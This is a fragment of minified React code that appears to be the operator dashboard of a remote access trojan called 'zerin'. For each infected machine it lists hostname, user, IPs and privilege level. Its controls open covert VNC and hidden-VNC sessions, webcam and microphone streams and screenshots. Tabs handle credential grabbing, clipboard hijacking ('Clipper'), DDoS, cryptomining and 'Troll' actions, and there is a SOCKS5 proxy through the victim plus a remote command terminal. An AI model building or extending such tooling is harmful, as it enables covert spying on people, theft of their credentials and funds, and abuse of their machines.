h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ee=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ee}),s.jsx(nd,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Ws(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await mx(i.id);const D=et(),ce=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await n5(i.id);const D=et(),ce=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>he(D=>!D),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),oe&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:G,onChange:D=>re(Number(D.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(D=>s.jsxs("option",{value:D,children:["Camera ",D]},D))]}),s.jsx("button",{onClick:async()=>{he(!1);try{await r5(i.id,G);const D=et(),ce=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await i5(i.id);const D=et(),ce=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ce(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>R(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(pn,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(pn,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:I.length>0?I.length:void 0}),s.jsx(pn,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(pn,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(pn,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(pn,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(pn,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(pn,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(pn,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(pn,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(pn,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(pn,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(vp,{title:"System",children:[s.jsx(Gt,{label:"Hostname",value:i.hostname}),s.jsx(Gt,{label:"Username",value:i.username}),s.jsx(Gt,{label:"OS",value:jo(i.os)}),s.jsx(Gt,{label:"Architecture",value:i.arch}),s.jsx(Gt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Gt,{label:"Integrity",value:i.integrity}),s.jsx(Gt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(vp,{title:"Network",children:[s.jsx(Gt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Gt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(vp,{title:"Timing",children:[s.jsx(Gt,{label:"Sleep / Jitter",value:u5(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Gt,{label:"First Seen",value:wo(i.first_seen)}),s.jsx(Gt,{label:"Last Seen",value:Bc(i.last_seen)}),s.jsx(Gt,{label:"Agent ID",value:Ws(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${F!=null&&F.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:F!=null&&F.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:F.port?`127.0.0.1:${F.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:F.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[ym(F.bytes_in)," in / ",ym(F.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await FE(i.id),H({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const D=await a5(i.id);H({active:!0,port:D.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(D=>{var K;const ce=(K=D.args)!=null&&K.length?" "+D.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[D.command,ce]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${UU[D.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:D.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:wo(D.created_at)})]},D.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(zU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(CU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(PU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(EU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(AU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(OU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(RU,{agentId:i.id,agentStatus:i.status,autoGrab:B,onAutoGrabConsumed:()=>{U(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(FU,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(I3,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(WU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:I.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:I.map(D=>s.jsxs("button",{onClick:()=>O(D.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:L.has(D.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:D.dataUrl,alt:`Screenshot ${Ws(D.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>W(ce=>new Set(ce).add(D.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Ws(D.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Bc(D.timestamp)})]})})]},D.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>T(D=>!D),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(SU,{lines:X,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ne.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ne.map(D=>s.jsx("button",{onClick:()=>ve(D),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:D},D))})]})}),V&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:V}),s.jsxs("form",{onSubmit:me,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:pe,type:"text",value:x,onChange:D=>g(D.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(d5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>R(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:D=>D.stopPropagation(),children:[s.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function pn({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function vp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Gt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const R3={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},b2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},HU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function KU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await AE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(id);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(w2,{label:"All",active:i==="all",onClick:()=>a("all")}),HU.map(m=>s.jsx(w2,{label:R3[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(qU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function qU({event:e,expanded:t,onToggle:n}){const r=b2[e.severity]||b2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 